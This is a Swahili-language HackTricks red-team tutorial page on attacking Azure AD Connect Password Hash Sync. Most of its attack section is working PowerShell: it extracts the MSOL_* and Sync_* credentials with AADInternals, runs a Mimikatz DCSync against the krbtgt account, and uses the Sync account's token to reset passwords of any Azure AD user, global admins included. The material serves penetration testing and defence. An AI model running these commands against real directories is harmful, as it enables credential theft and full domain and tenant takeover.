Az - PHS - Password Hash Sync

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Kutoka kwa nyaraka: Synchronization ya hash ya nywila ni moja ya njia za kuingia zinazotumiwa kufanikisha kitambulisho cha mchanganyiko. Azure AD Connect inasawazisha hash, ya hash, ya nywila ya mtumiaji kutoka kwa kifaa cha Active Directory cha ndani hadi kifaa cha Azure AD kwenye wingu.

Ni njia ya kawaida inayotumiwa na makampuni kusawazisha AD ya ndani na Azure AD.

Wote watumiaji na hash ya nywila zinasawazishwa kutoka kwa ndani kwenda Azure AD. Hata hivyo, nywila za maandishi wazi au hash za asili hazitumwi kwa Azure AD. Zaidi ya hayo, Vikundi vya usalama vilivyojengwa (kama vile waendeshaji wa kikoa...) havisawazishwi na Azure AD.

Usawazishaji wa hash hufanyika kila dakika 2. Hata hivyo, kwa chaguo-msingi, ukomo wa nywila na ukomo wa akaunti hawasawazishwi katika Azure AD. Hivyo, mtumiaji ambaye nywila yake ya ndani imeisha muda (haikubadilishwa) anaweza kuendelea kupata rasilimali za Azure kwa kutumia nywila ya zamani.

Wakati mtumiaji wa ndani anapotaka kupata rasilimali ya Azure, uthibitisho hufanyika kwenye Azure AD.

PHS inahitajika kwa vipengele kama Ulinzi wa Kitambulisho na Huduma za Domain za AAD.

Kubadilisha Mwelekeo

Wakati PHS imeboreshwa baadhi ya akaunti zenye mamlaka zinaundwa moja kwa moja:

  • Akaunti ya MSOL_<installationID> inaundwa moja kwa moja kwenye AD ya ndani. Akaunti hii inapewa jukumu la Akaunti za Usawazishaji wa Dhibiti (angalia nyaraka) ambayo inamaanisha kuwa ina idhini ya usawazishaji (DCSync) katika AD ya ndani.

  • Akaunti ya Sync_<jina la seva ya ADConnect ya ndani>_installationID inaundwa kwenye Azure AD. Akaunti hii inaweza kusawazisha nywila ya MTUMIAJI YEYOTE (aliyesawazishwa au wingu pekee) kwenye Azure AD.

Nywila za akaunti mbili zenye mamlaka hapo juu zinahifadhiwa kwenye seva ya SQL kwenye seva ambapo Azure AD Connect imeboreshwa. Waendeshaji wanaweza kutoa nywila za watumiaji hao wenye mamlaka kwa maandishi wazi. Hifadhidata iko katika C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Inawezekana kutoa maelezo ya usanidi kutoka kwa moja ya meza, moja ikiwa imefichwa:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

Usanidi uliofichwa umefichwa kwa kutumia DPAPI na una nywila za mtumiaji wa MSOL_* kwenye AD ya ndani na nywila ya Sync_* kwenye AzureAD. Hivyo, kwa kuhatarisha hizi inawezekana kufikia AD na AzureAD.

Unaweza kupata muhtasari kamili wa jinsi nywila hizi zinavyohifadhiwa na kufichuliwa katika mazungumzo haya.

Kupata seva ya Azure AD connect

Ikiwa seva ambapo Azure AD connect imeboreshwa imejiunga na kikoa (inapendekezwa katika nyaraka), inawezekana kuipata kwa:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Kudhuru MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Unaweza pia kutumia adconnectdump kupata sifa hizi.

Kutumia Vibaya Sync_*

Kwa kudukua akaunti ya Sync_* niwezekanavyo kusahihisha nenosiri la mtumiaji yeyote (ikiwa ni pamoja na Waadmin wa Kimataifa)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Pia niwezekana kubadilisha nywila za watumiaji wa buluu pekee (hata kama hiyo ni ya kushangaza)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Pia niwezekano wa kudump nenosiri la mtumiaji huyu.

Chaguo lingine lingekuwa kutenga ruhusa za mamlaka kuu kwa mada ya huduma, ambayo mtumiaji wa Sync ana ruhusa za kufanya, na kisha kupata huduma hiyo ya mamlaka kuu kama njia ya privesc.

Usajili Usio na Vikwazo

Inawezekana kutumia Usajili Usio na Vikwazo na PHS, ambayo inaweza kutumika vibaya kwa njia nyingine. Angalia hapa:

pageAz - Seamless SSO

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated